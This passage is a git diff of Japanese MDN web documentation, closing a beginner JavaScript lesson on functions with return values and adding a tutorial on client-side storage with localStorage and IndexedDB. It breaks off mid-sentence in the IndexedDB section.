name="Active_learning_our_own_return_value_function">実践: 戻り値を返す関数を作る</h2> + +<p>戻り値を返すオリジナルな関数を書いてみましょう。</p> + +<ol> + <li>まず最初に GitHub から <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-library.html">function-library.html</a> ファイルをローカル環境にコピーします。このファイルはシンプルな HTML のページで、文字列入力用の {{htmlelement("input")}} フィールドとパラグラフ（段落）要素を含んでいます。また、{{htmlelement("script")}} 要素があり、この中でページ内の HTML 要素の参照を 2 つの変数で保持させています。このページに対して、テキストボックスに数値を入力したら、入力した数値と関連のある異なる数値を下のパラグラフ要素に表示させるようにしていきます。</li> + <li>いくつかの関数を <code><script></code> 要素に追加していきましょう。既に記述されている 2 行の <a href="/ja/docs/Web/JavaScript">JavaScript</a> のコードの下に、以下の関数定義を追加します。 + <pre class="brush: js notranslate">function squared(num) { + return num * num; +} + +function cubed(num) { + return num * num * num; +} + +function factorial(num) { + if (num < 0) return undefined; + if (num == 0) return 1; + let x = num - 1; + while (x > 1) { + num *= x; + x--; + } + return num; +}</pre> + <code>squared()</code> 関数と <code>cubed()</code> 関数は大変わかりやすいでしょう。引数として渡された値の 2 乗や 3 乗を返しています。<code>factorial()</code> 関数は渡された数の<a href="https://ja.wikipedia.org/wiki/%E9%9A%8E%E4%B9%97">階乗</a>を返しています。</li> + <li>次に input に入力された数値を出力する処理を追加していきます。イベントハンドラーを既存の関数の下に記述しましょう。 + <pre class="brush: js notranslate">input.onchange = function() { + const num = input.value; + if (isNaN(num)) { + para.textContent = 'You need to enter a number!'; + } else { + para.textContent = num + ' squared is ' + squared(num) + '. ' + + num + ' cubed is ' + cubed(num) + '. ' + + num + ' factorial is ' + factorial(num) + '.'; + } +}</pre> + + <p>ここでは <code>onchange</code> イベントハンドラーを作っています。これは文字列入力での <code>change</code> イベントが発火した時に実行されます。つまり新しい値が <code>input</code> に入力され、送信された時です (たとえば値を入力し、<kbd>Tab</kbd> か <kbd>Return</kbd> を押して入力からフォーカスを外す時)。この無名関数が実行されると、<code>input</code> に入力された値が <code>num</code> 定数に代入されます。<br> + <br> + 次に、条件付きテストを行うようにします。もし入力された値が数値でなければ、パラグラフ要素にエラーメッセージを出力します。テストでは、式 <code>isNaN(num)</code> が true を返すかどうか見るようにします。一般的に値が数値でないかをテストする際には <code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/isNaN">isNaN()</a></code> 関数を使います。この関数では、渡された値が数値でなければ <code>true</code> を返し、数値であれば <code>false</code> を返します。<br> + <br> + もしテストが <code>false</code> を返した場合、<code>num</code> の値は数値です。したがって、数値の 2 乗、3 乗、階乗の値を示す文が、パラグラフ要素内に出力されます。その出力する文章内で必要とする値を計算するために <code>squared()</code> 関数、<code>cubed()</code> 関数、<code>factorial()</code> 関数を呼んでいます。</p> + </li> + <li> + <p>コードを保存して、それをブラウザーで表示してみましょう。</p> + </li> +</ol> + +<div class="note"> +<p><strong>注意</strong>: もしサンプルがうまく動作しない場合は、<a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-library-finished.html">GitHub 上の完成版</a>と比較などしてみてください（<a href="https://mdn.github.io/learning-area/javascript/building-blocks/functions/function-library-finished.html">実際に動かして確認もできます</a>）。またはお問い合わせください。</p> +</div> + +<h2 id="あなたの番です!">あなたの番です!</h2> + +<p>この時点で、独自の関数をいくつか書き出してライブラリに追加してみましょう。数値の平方根や立方根はどうですか？また、特定の半径を持つ円の円周はどうでしょうか？</p> + +<p>関数に関する追加のヒント:</p> + +<ul> + <li>関数の中に<em>エラーハンドリング</em>を書く別の例を見てみましょう。一般に、必要な引数が検証されていること、および省略可能な引数に何らかのデフォルト値が渡されていることをチェックすることは良い考え方です。このようにしてプログラムがエラーを投げることを減らせます。</li> + <li><em>関数のライブラリ</em>を作るアイデアについて考えてみてください。プログラミングのキャリアを積んでいくと、何度も同じ類のことを繰り返し行うことになるでしょう。このようなことに対処するために、自分独自のユーティリティ関数のライブラリを作成することは良いアイデアです。新しいコードにコピーしたり、必要に応じて HTML ページにそれを適用したりすることができます。</li> +</ul> + +<h2 id="スキルをテストしよう!">スキルをテストしよう!</h2> + +<p>この記事の最後まで到達しましたが、最も大事な情報を覚えていますか？移動する前に、この情報を維持しているか検証するテストを見ることができます— <a href="https://wiki.developer.mozilla.org/ja/docs/Learn/JavaScript/Building_blocks/Test_your_skills:_Functions">Test your skills: Functions</a> を見てください。</p> + +<h2 id="Conclusion" name="Conclusion">まとめ</h2> + +<p>以上、関数は楽しく、非常に便利で、構文や機能についてまだまだ話すことはたくさんありますが、それらはかなり理解しやすいものです。</p> + +<p>もし何か理解できなかったことがありましたら、何度もこの記事を読み込むか、または<a href="/ja/docs/Learn#Contact_us">お問い合わせ</a>ください。</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Functions">関数</a> — より高度な関数に関連した情報を網羅した詳細なガイド。</li> + <li><a href="https://www.impressivewebs.com/callback-functions-javascript/">Callback functions in JavaScript</a> — 一般的なJavaScriptのパターンは、ある関数を別の関数に<em>引数として</em>渡すことです。それは受け取った関数の中で呼び出されます。これについては、このコースの範疇を少し超えていますが、すぐにでも勉強する価値はあります。</li> +</ul> + +<p>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Build_your_own_function","Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/conditionals">コードでの意思決定 — 条件文</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Looping_code">ループコード</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Functions">関数 — 再利用可能なコードブロック</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">独自の関数を作る</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Return_values">関数の戻り値</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Events">イベントの紹介</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Image_gallery">イメージギャラリー</a></li> +</ul> diff --git a/files/ja/learn/javascript/client-side_web_apis/client-side_storage/index.html b/files/ja/learn/javascript/client-side_web_apis/client-side_storage/index.html new file mode 100644 index 0000000000..da7b36abbf --- /dev/null +++ b/files/ja/learn/javascript/client-side_web_apis/client-side_storage/index.html @@ -0,0 +1,796 @@ +--- +title: クライアント側ストレージ +slug: Learn/JavaScript/Client-side_web_APIs/Client-side_storage +tags: + - API + - Article + - Beginner + - CodingScripting + - Guide + - IndexedDB + - JavaScript + - Learn + - Storage + - Web Storage + - ウェブストレージ + - ガイド + - 保存 + - 初心者 + - 学習 +translation_of: Learn/JavaScript/Client-side_web_APIs/Client-side_storage +--- +<p>{{LearnSidebar}}</p> + +<div>{{PreviousMenu("Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}</div> + +<p class="summary">モダン・ウェブブラウザーは、ユーザーの許可のもとにウェブサイトがユーザーのコンピューター上にデータを保存して必要なときにそのデータを取得するための、いくつもの方法をサポートしています。このことにより、長期記憶のためにデータを存続させること、オフライン利用のためにサイトまたは文書を保存すること、サイトについてのユーザー独自の設定を保持すること、などなどが可能になります。本記事では、これらがどのようにして機能するのかについてのごく基本的な点を説明します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>JavaScript の基本 (<a href="/ja/docs/Learn/JavaScript/First_steps">JavaScript の第一歩</a>、<a href="/ja/docs/Learn/JavaScript/Building_blocks">JavaScript の構成要素</a>、 <a href="/ja/docs/Learn/JavaScript/Objects">JavaScript オブジェクト入門</a> を参照)、<a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">ウェブ APIの紹介</a></td> + </tr> + <tr> + <th scope="row">学習目標:</th> + <td>アプリケーション・データを保存するためのクライアント側のストレージ API の使い方を学ぶこと</td> + </tr> + </tbody> +</table> + +<h2 id="Client-side_storage" name="Client-side_storage">クライアント側での保存って?</h2> + +<p>MDN 学習エリアの他の箇所で、<a href="/ja/docs/Learn/Server-side/First_steps/Client-Server_overview#Static_sites">静的なサイト</a> と <a href="/ja/docs/Learn/Server-side/First_steps/Client-Server_overview#Dynamic_sites">動的なサイト</a> の違いについて述べました。ほとんどの主要なモダン・ウェブサイトは動的です。つまり、ある種のデータベース (サーバー側のストレージ) を使ってデータをサーバー上に記憶し、必要なデータを取得するために<a href="/ja/docs/Learn/Server-side">サーバー側</a> のコードを実行し、そのデータを静的なページ雛型に挿入し、結果として出来上がった HTML をクライアントに提供して、それがユーザーのブラウザーによって表示されるようにします。</p> + +<p>クライアント側での保存は類似の原理に基づいて機能しますが、これにはいくつかの異なる使い道があります。クライアント側での保存は、クライアント上に (つまりユーザーのマシン上に) データを保存して必要なときにそのデータを取得できるようにしてくれる、いくつかの JavaScript API から構成されています。クライアント側での保存には、たとえば以下のように多くの異なる用途があります。</p> + +<ul> + <li>サイトの環境設定を個人に合わせる (たとえば、カスタム・ウィジェット、カラースキーム、またはフォントサイズについて、ユーザーが選択したものを表示する、など)</li> + <li>以前のサイト上の行動を存続させる (たとえば、前回のセッションからの買い物かごの中身を記憶しておく、ユーザーが以前ログインしたかどうかを憶えておく、など)</li> + <li>サイトをより速く (かつ、潜在的にはより費用をかけずに) ダウンロードできるように、または、ネットワーク接続なしでサイトが利用可能となるように、データと資産をローカルに保存する</li> + <li>ウェブ・アプリケーションが生成した文書を、オフラインで利用するために、ローカルに保存する</li> +</ul> + +<p>クライアント側での保存とサーバ側での保存は、しばしば共に使われます。たとえば、複数の音楽ファイル (おそらくウェブゲームまたは音楽プレーヤー・アプリに使われる) をダウンロードし、それらの音楽ファイルをクライアント側のデータベース内に保存し、必要に応じて再生する、といったことが可能でしょう。ユーザーは、それらの音楽ファイルをただ一度ダウンロードするだけで済むでしょう。その後の訪問では、音楽ファイルは、ダウンロードされる代わりにデータベースから取得されるでしょう。</p> + +<div class="note"> +<p><strong>注</strong>: クライアント側のストレージ API を使って保存できるデータの量には、上限があります (もしかすると、個別の API ごとの上限と、累積的な上限の双方があるかもしれません)。正確な上限は、ブラウザーごとに異なりますし、もしかすると、ユーザーの設定によることもあるかもしれません。より詳しくは、<a href="/ja/docs/Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria">ブラウザーのストレージ制限と削除基準</a> を参照。</p> +</div> + +<h3 id="Old_school_Cookies" name="Old_school_Cookies">旧式な方法: クッキー</h3> + +<p>クライアント側での保存という考え方には、長い歴史があります。ウェブの初期から、ウェブサイト上でのユーザー体験を個別化するための情報を記憶するべく、サイトは <a href="/ja/docs/Web/HTTP/Cookies">クッキー</a> を使ってきました。そうしたクッキーは、ウェブ上で一般的に使われるクライアント側での保存の、最初期の形式です。</p> + +<p>最近では、クライアント側のデータを保存するためのより簡単な仕組みが利用できるため、この記事ではクッキーの使用方法については説明しません。ただし、これはクッキーが現代のウェブで完全に役に立たないことを意味するわけではありません。クッキーは、ユーザーの個別化や状態に関連するデータを保存するために今でも一般的に使用されています。たとえば、セッション ID やアクセストークンです。クッキーの詳細については、<a href="/ja/docs/Web/HTTP/Cookies">HTTP cookies</a> の記事を参照してください。</p> + +<h3 id="New_school_Web_Storage_and_IndexedDB" name="New_school_Web_Storage_and_IndexedDB">新方式派: ウェブストレージと IndexedDB</h3> + +<p>前述の「簡単な」機能には次のものがあります:</p> + +<ul> + <li><a href="/ja/docs/Web/API/Web_Storage_API">Web Storage API</a> は、名前とそれに対応する値とからなる小規模なデータ項目を保存したり取り出したりするための、とても簡潔な構文を提供しています。これは、ユーザーの名前、ユーザーがログインしているかどうか、画面の背景にどの色を使うべきか、といったような、何らかの単純なデータを記憶するだけでよい場合に有用です。</li> + <li><a href="/ja/docs/Web/API/IndexedDB_API">IndexedDB API</a> は、複雑なデータを保存するための完全なデータベース・システムをブラウザーに提供しています。これは、顧客レコードの完全な集合から、音声ファイルまたは動画ファイルのような複雑なデータ型にいたるまでの、種々の物事に対して使えます。</li> +</ul> + +<p>以下ではこれらの API について学ぶことになります。</p> + +<h3 id="The_future_Cache_API" name="The_future_Cache_API">将来: キャッシュ API</h3> + +<p>いくつかのモダン・ブラウザーは、新しい {{domxref("Cache")}} API をサポートしています。この API は、特定の要求に対する HTTP 応答を記憶しておくために設計されています。 また、ネットワーク接続なしに後でサイトを利用できるように、ウェブサイト資産をオフラインに記憶しておく、といったようなことをするうえで非常に有用です。キャッシュは通常、<a href="/ja/docs/Web/API/Service_Worker_API">サービスワーカー API</a> と組み合わせて利用します。もっとも、必ずそうしなくてはならないというわけではありません。</p> + +<p>キャッシュとサービスワーカーの利用は先進的な話題であり、この記事ではそれほど詳しくは扱いません。とは言うものの、後述の {{anch("Offline asset storage")}} の節では、簡単な例をお見せします。</p> + +<h2 id="Storing_simple_data_—_web_storage" name="Storing_simple_data_—_web_storage">単純なデータを保存する——ウェブストレージ</h2> + +<p><a href="/ja/docs/Web/API/Web_Storage_API">Web Storage API</a> は大変使いやすいものです。(文字列や数などに限定された) データからなる単純な名前／値のペアを保存し、必要なときにその値を取り出します。</p> + +<h3 id="Basic_syntax" name="Basic_syntax">基本的構文</h3> + +<p>以下に方法を示しましょう。</p> + +<ol> + <li> + <p>まず、GitHub 上の <a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/web-storage/index.html">ウェブストレージの空白テンプレート</a> へ行ってください (新規タブで開いてください)。</p> + </li> + <li> + <p>ブラウザーのデベロッパー・ツールの JavaScript コンソールを開いてください。</p> + </li> + <li> + <p>ウェブストレージ・データのすべては、ブラウザー内部の二つのオブジェクト的な構造体の中に含まれます。つまり、{{domxref("Window.sessionStorage", "sessionStorage")}} と {{domxref("Window.localStorage", "localStorage")}} の中です。前者は、ブラウザーが開いている限り、データを存続させます (ブラウザーを閉じるとデータは失われます)。後者は、ブラウザーを閉じて、それから再びブラウザーを開いた後でさえも、データを存続させます。一般的には後者の方がより有用なので、本記事では後者を使います。</p> + + <p>{{domxref("Storage.setItem()")}} メソッドによって、ストレージ内にデータ項目を保存できます。このメソッドは二つの引数をとります。すなわち、その項目の名前と、その値です。JavaScript コンソールに以下のように打ち込んでみてください (もしお望みなら、値は御自分のお名前に変更してくださいね!)</p> + + <pre class="brush: js notranslate">localStorage.setItem('name','Chris');</pre> + </li> + <li> + <p>{{domxref("Storage.getItem()")}} メソッドは一つの引数をとります。つまり、取り出したいデータ項目の名前です。そして、このメソッドは、その項目の値を返します。今度は JavaScript コンソールに以下の行を打ち込んでください。</p> + + <pre class="brush: js notranslate">let myName = localStorage.getItem('name'); +myName</pre> + + <p>2 行目を入力すると、<code>myName</code> という変数が今や <code>name</code> というデータ項目の値を保有していることが分かるはずです。</p> + </li> + <li> + <p>{{domxref("Storage.removeItem()")}} メソッドは一つの引数をとります。つまり、削除したいデータ項目の名前です。このメソッドは、ウェブストレージからその項目を削除します。JavaScript コンソールに以下の行を打ち込んでください。</p> + + <pre class="brush: js notranslate">localStorage.removeItem('name'); +let myName = localStorage.getItem('name'); +myName</pre> + + <p>3 行目は、今度は <code>null</code> を返すはずです。というのも、もはや <code>name</code> という項目はウェブストレージ内に存在しないからです。</p> + </li> +</ol> + +<h3 id="The_data_persists!" name="The_data_persists!">データが存続する!</h3> + +<p>ウェブストレージの一つの重要な特徴は、ページ・ロードをまたいで (さらに、<code>localStorage</code> の場合には、ブラウザーを終了させてさえも) データが存続する、という点です。この特徴が機能しているところを見てみましょう。</p> + +<ol> + <li> + <p>もう一度、ウェブストレージの空白テンプレートを開いてください。ただし今回は、本チュートリアルを開いたのとは別のブラウザーで開いてください! こうすることで、取り扱いがしやすくなるでしょう。</p> + </li> + <li> + <p>以下の行をブラウザーの JavaScript コンソールに打ち込んでください。</p> + + <pre class="brush: js notranslate">localStorage.setItem('name','Chris'); +let myName = localStorage.getItem('name'); +myName</pre> + + <p><code>name</code> という項目が返されるのが分かるはずです。</p> + </li> + <li> + <p>さてここでブラウザーを終了させてから再び起動して開いてください。</p> + </li> + <li> + <p>再び、以下の行を入力してください。</p> + + <pre class="brush: js notranslate">let myName = localStorage.getItem('name'); +myName</pre> + + <p>ブラウザーを終了させてから再び開いたというのに、それでも依然として値が利用可能である、ということが分かるはずです。</p> + </li> +</ol> + +<h3 id="Separate_storage_for_each_domain" name="Separate_storage_for_each_domain">ドメインごとに別々のストレージ</h3> + +<p>ドメインごとに (ブラウザーにロードされた別々のウェブ・アドレスごとに)、別々のデータストアがあります。二つのウェブサイト (たとえば google.com と amazon.com) をロードして、一方のウェブサイトで項目を保存してみると、その項目は他方のウェブサイトでは利用できない、と分かるでしょう。</p> + +<p>これには意義があります。もしウェブサイト同士がお互いのデータを見ることが可能であったら起こるであろうセキュリティ問題を想像できますよね!</p> + +<h3 id="A_more_involved_example" name="A_more_involved_example">さらに込み入った例</h3> + +<p>どのようにウェブストレージを使えるのかについてお教えするために、簡単で基礎的な事例を書くことによって、(ドメインごとのストレージという) この新たに得た知識を応用してみましょう。この事例では、名前を入力できるようにします。その入力の後、個人に合わせた挨拶を表示するべく、ページが更新されます。この状態は、ページ／ブラウザーのリロードをまたいでも存続するでしょう。なぜなら、名前がウェブストレージに記憶されているからです。</p> + +<p>この例の HTML を <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/web-storage/personal-greeting.html">personal-greeting.html</a> で入手できます。これは、ヘッダーとコンテンツとフッターを備えた簡素なウェブサイトと、名前を入力するためのフォームとを含みます。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/15735/web-storage-demo.png" style="display: block; margin: 0 auto;"></p> + +<p>この例を組み上げましょう。すると、これがどのように機能するのか理解できるでしょう。</p> + +<ol> + <li> + <p>まず、御自分のコンピュータ上の新規ディレクトリに、<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/web-storage/personal-greeting.html">personal-greeting.html</a> というファイルのローカルコピーを作ってください。</p> + </li> + <li> + <p>次に、<code>index.js</code> と呼ばれる JavaScript ファイルを、HTML がどのように参照しているのかに注意してください (40 行目を参照)。これ (<code>index.js</code>) を作成して、そこに JavaScript コードを書き込む必要があります。HTML ファイルと同じディレクトリに <code>index.js</code> というファイルを作成してください。</p> + </li> + <li> + <p>この例で操作する必要のある HTML 項目 (features) のすべてに対する参照を作るところから取り掛かりましょう。それらの参照のすべてを定数として作ります。なぜなら、これらの参照は、アプリのライフサイクル内で変化する必要がないからです。以下の行を JavaScript ファイルに追加してください。</p> + + <pre class="brush: js notranslate">// 必要な定数を作ります。 +const rememberDiv = document.querySelector('.remember'); +const forgetDiv = document.querySelector('.forget'); +const form = document.querySelector('form'); +const nameInput = document.querySelector('#entername'); +const submitBtn = document.querySelector('#submitname'); +const forgetBtn = document.querySelector('#forgetname'); + +const h1 = document.querySelector('h1'); +const personalGreeting = document.querySelector('.personal-greeting');</pre> + </li> + <li> + <p>次に、送信ボタンが押されたときにフォームが実際にこのフォーム自体を送信することをやめさせるための、小規模なイベント・リスナーを含める必要があります。というのも、こうした送信は所望の振る舞いではないからです。以下に示すスニペットを、前のコードに追加してください。</p> + + <pre class="brush: js notranslate">// ボタンが押されたときにフォームが送信することをやめさせます。 +form.addEventListener('submit', function(e) { + e.preventDefault(); +});</pre> + </li> + <li> + <p>さてここで、イベント・リスナーを追加せねばなりません。そのイベント・リスナーのハンドラー関数は、"Say hello" ボタンがクリックされたときに実行されます。それぞれの断片が何を行うのかはコメントで詳しく説明してありますが、本質的にここでは、ユーザーがテキスト入力ボックスに入力した名前をとってきて、<code>setItem()</code> を用いてその名前をウェブストレージに保存し、その後、実際のウェブサイト上のテキストの更新を扱う <code>nameDisplayCheck()</code> と呼ばれる関数を実行しています。これをコードの末尾に加えてください。</p> + + <pre class="brush: js notranslate">// 'Say hello' ボタンがクリックされたら関数を実行します。 +submitBtn.addEventListener('click', function() { + // 入力された名前をウェブストレージに保存します。 + localStorage.setItem('name', nameInput.value); + // 個人に合わせた挨拶を表示するとともにフォーム表示を更新する + // 措置をとるべく、nameDisplayCheck() を実行します。 + nameDisplayCheck(); +});</pre> + </li> + <li> + <p> この時点で、"Forget" ボタンがクリックされたときに関数を実行するためのイベント・ハンドラーも必要です。"Forget" ボタンは、"Say hello" ボタンがクリックされた後にのみ表示されます (二つのフォーム状態が行ったり来たり切り替わります)。この関数では、<code>removeItem()</code> を用いてウェブストレージから <code>name</code> という項目を削除し、その後、表示を更新するために <code>nameDisplayCheck()</code> を再び実行します。これを末尾に付け加えてください。</p> + + <pre class="brush: js notranslate">// 'Forget' ボタンがクリックされたら関数を実行します。 +forgetBtn.addEventListener('click', function() { + // 保存してある名前をウェブストレージから削除します。 + localStorage.removeItem('name'); + // 再び一般的な挨拶を表示するとともにフォーム表示を更新する + // 措置をとるべく、nameDisplayCheck() を実行します。 + nameDisplayCheck(); +});</pre> + </li> + <li> + <p>さて今や <code>nameDisplayCheck()</code> という関数そのものを定義すべきときです。ここでは、<code>localStorage.getItem('name')</code> を条件テストとして用いることにより、<code>name</code> という項目がウェブストレージに保存済みかどうかを調べます。もし保存済みなら、この呼び出しは <code>true</code> と評価されるでしょう。もし保存済みでなければ、<code>false</code> になるでしょう。もし <code>true</code> なら、個人に合わせた挨拶を表示し、フォームの "forget" の部分を表示し、フォームの "Say hello" の部分を隠します。もし <code>false</code> なら、一般的な挨拶を表示し、逆のことをします (フォームの "forget" の部分を隠し、フォームの "Say hello" の部分を表示します)。またもや末尾に以下のコードを追加してください。</p> + + <pre class="brush: js notranslate">// nameDisplayCheck() という関数を定義します。 +function nameDisplayCheck() { + // 'name' というデータ項目がウェブストレージに保存されているかどうかを調べます。 + if(localStorage.getItem('name')) { + // もし保存されていたら、個人に合わせた挨拶を表示します。 + let name = localStorage.getItem('name'); + h1.textContent = 'Welcome, ' + name; + personalGreeting.textContent = 'Welcome to our website, ' + name + '! We hope you have fun while you are here.'; + // フォームのうち 'remember' の部分を隠し、'forget' の部分を表示します。 + forgetDiv.style.display = 'block'; + rememberDiv.style.display = 'none'; + } else { + // もし保存されていなければ、一般的な挨拶を表示します。 + h1.textContent = 'Welcome to our website '; + personalGreeting.textContent = 'Welcome to our website. We hope you have fun while you are here.'; + // フォームのうち 'forget' の部分を隠し、'remember' の部分を表示します。 + forgetDiv.style.display = 'none'; + rememberDiv.style.display = 'block'; + } +}</pre> + </li> + <li> + <p>最後に、ページがロードされるたびに <code>nameDisplayCheck()</code> という関数を実行せねばなりません。もしそうしなければ、個人に合わせた挨拶は、ページのリロードをまたがってまでは持続しなくなってしまうでしょう。以下のものをコードの末尾に追加してください。</p> + + <pre class="brush: js notranslate">document.body.onload = nameDisplayCheck;</pre> + </li> +</ol> + +<p>例が完成しました。よくできましたね! 現時点で残っているのは、コードを保存して HTML ページをブラウザーでテストすることだけです。<a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/web-storage/personal-greeting.html">ライブ実行される完成版をここで</a> 見られます。</p> + +<div class="note"> +<p><strong>注</strong>: <a href="/ja/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">ウェブストレージ API の使用</a> のところには、探究するにはほんの少しだけ更に複雑な別の例もあります。</p> +</div> + +<div class="note"> +<p><strong>注</strong>: 完成版のソースのうち <code><script src="index.js" defer></script></code> という行では、<code>defer</code> 属性により、ページをロードし終わるまでは {{htmlelement("script")}} 要素の中身を実行しないように指定しています。</p> +</div> + +<h2 id="Storing_complex_data_—_IndexedDB" name="Storing_complex_data_—_IndexedDB">複雑なデータを保存する—— IndexedDB</h2> + +<p><a href="/ja/docs/Web/API/IndexedDB_API">IndexedDB API</a> (ときには IDB と省略します) は、ブラウザーで利用可能であり、複雑で関係性のあるデータを保存できる、完全なデータベース・システムです。そしてそのデータの型は、文字列または数値のような単純な値に限定されません。動画や静止画像、そして、その他のものもほとんどすべて、IndexedDB インスタンスに保存できます。</p> + +<p>しかし、これは高くつきます。IndexedDB の使用は、ウェブストレージ API の使用よりも遥かに複雑なのです。本節では、IndexedDB ができることのうち本当に表面的なところに触れるだけですが、始めるのに十分なだけのことは、お伝えしましょう。</p> + +<h3 id="Working_through_a_note_storage_example" name="Working_through_a_note_storage_example">メモ書きの保存の事例を通して作業します</h3> + +<p>ここでは、メモ書きをブラウザーに保存して好きなときにそれを見たり消したりできるようにする事例を、見ていただきましょう。その際、その例は御自分で組み立てていただきますが、進行に合わせて、IDB の最も根本的な部分について御説明します。</p> + +<p>当該アプリは、以下のような見かけをしています。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/15744/idb-demo.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<p>メモ書きの各々には題名と何らかの本文があり、題名と本文のそれぞれは別々に編集できます。以下で見てゆく JavaScript コードには、何が起きているのかを理解する手助けとなる詳しいコメントがあります。</p> + +<h3 id="Getting_started" name="Getting_started">始めますよ</h3> + +<ol> + <li>まず、<code><a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/indexeddb/notes/index.html">index.html</a></code> と <code><a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/indexeddb/notes/style.css">style.css</a></code> と <code><a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/indexeddb/notes/index-start.js">index-start.js</a></code> というファイルのローカルコピーを、ローカルマシンの新規ディレクトリ内に作成してください。</li> + <li>ファイルを見てください。HTML がかなり簡潔なのがお分かりでしょう。これは、ヘッダーとフッターのあるウェブサイトです。また、メモ書きを表示する場所と、データベースに新たなメモ書きを入力するためのフォームとを含む、本文コンテンツ領域もあります。 CSS は、何が起きているのかをより明瞭にするための、ある種の簡素なスタイルづけを提供しています。JavaScript ファイルは、宣言された五つの定数を含んでいます。つまり、 内部にメモ書きを表示することになる {{htmlelement("ul")}} 要素への参照と、題名および本文の {{htmlelement("input")}} 要素への参照と、{{htmlelement("form")}} 自体への参照と、{{htmlelement("button")}} への参照とを含んでいます。</li> + <li>JavaScript ファイルの名前を <code>index.js</code> に変更してください。コードをそこに追加し始める準備がこれで整いました。</li> +</ol> + +<h3 id="Database_initial_set_up" name="Database_initial_set_up">データベースの初期設定</h3> + +<p>では、実際にデータベースを設定するために最初にすべきことを見てみましょう。</p> + +<ol> + <li> + <p>定数の宣言の下に、以下の行を追加してください。</p> + + <pre class="brush: js notranslate">// 開いたデータベースを記憶しておくためのデータベース・オブジェクトのインスタンスを作成します。 +let db;</pre> + + <p>ここでは、<code>db</code> と呼ばれる変数を宣言しています。これは後に、データベースを表すオブジェクトを記憶するのに使われます。この変数を何箇所かで使うつもりなので、物事を容易にするために、ここでこの変数を大域的に宣言しておきました。</p> + </li> + <li> + <p>次に、以下のものをコードの末尾に加えてください。</p> + + <pre class="brush: js notranslate">window.onload = function() { + +};</pre> + + <p>続きのコードはすべて、この <code>window.onload</code> イベント・ハンドラー関数——ウィンドウの {{event("load")}} イベントが発火したときに呼ばれます——の中に書いてゆきます。アプリが完全にロード動作を終えるよりも前には IndexedDB 機能を使おうとはしないよう保証するために、そうしています (もしそう保証しなかったら、失敗する可能性があります)。</p> + </li> + <li> + <p><code>window.onload</code> ハンドラーの中に、以下のものを追加してください。</p> + + <pre class="brush: js notranslate">// データベースを開きます。データベースは、まだ存在していない場合には +// 新規作成されます (後述の onupgradeneeded を参照)。 +let request = window.indexedDB.open('notes', 1);</pre> + + <p>この行では、<code>notes</code> と呼ばれるデータベースのバージョン <code>1</code> を開く <code>request</code> (要求) を作成します。もしそのデータベースがまだ存在しなければ、後述のコードによって新規作成されます。IndexedDB の全体を通じて、この要求パターンが非常に高頻度で使われることが、いずれお分かりになるでしょう。データベース操作には時間がかかります。その結果を待つ間、ブラウザーをハングさせることはお望みでないでしょうから、データベース操作は {{Glossary("asynchronous")}} (非同期) となっています。このことが意味するのは、結果は直ちに生じるのではなく、将来のいずれかの時点で生じるだろうということ、および、結果が出たときには通知されるということです。</p> + + <p>こういったことを IndexedDB で扱うために、要求オブジェクト (何とでも好きなように呼んで構いませんが、何を目的としたものなのかが明白になるので、<code>request</code> (要求) と呼んでおきました) を作成します。それから、要求が完了する、失敗する、などの際にコードを実行するために、いくつかのイベント・ハンドラーを使います。この点については、使用されているところを後で見ることになります。</p> + + <div class="note"> + <p><strong>注</strong>: バージョン番号は重要です。(たとえばテーブル構造を変更することによって) データベースをアップグレードしたい場合には、上げたバージョン番号や、<code>onupgradeneeded</code> ハンドラー (下記参照) の内部で指定される別のスキーマなどを使って、コードを再度実行せねばなりません。この簡単なチュートリアルでは、データベースのアップグレードは扱いません。</p> + </div> + </li> + <li> + <p>さて今度は、前に追加した分のすぐ下に、以下のイベント・ハンドラーを追加してください。今度もまた、<code>window.onload</code> ハンドラーの中への追加です。</p> + + <pre class="brush: js notranslate">// onerror ハンドラーは、データベースがうまく開けなかったことを意味します。 +request.onerror = function() { + console.log('Database failed to open'); +}; + +// onsuccess ハンドラーは、データベースがうまく開けたことを意味します。 +request.onsuccess = function() { + console.log('Database opened successfully'); + + // 開いたデータベース・オブジェクトを、db という変数に記憶します。この変数は、以下でたくさん使われます。 + db = request.result; + + // IDB 内の既存のメモ書きを表示するために、displayData() 関数を実行します。 + displayData(); +};</pre> + + <p>要求は失敗した、と伝えつつシステムが戻ってくる場合には、{{domxref("IDBRequest.onerror", "request.onerror")}} というハンドラーが実行されます。これによって、(要求が失敗したという) この問題に対処できるようになります。この簡単な例では、単に JavaScript コンソールにメッセージを印字します。</p> + + <p>他方、{{domxref("IDBRequest.onsuccess", "request.onsuccess")}} 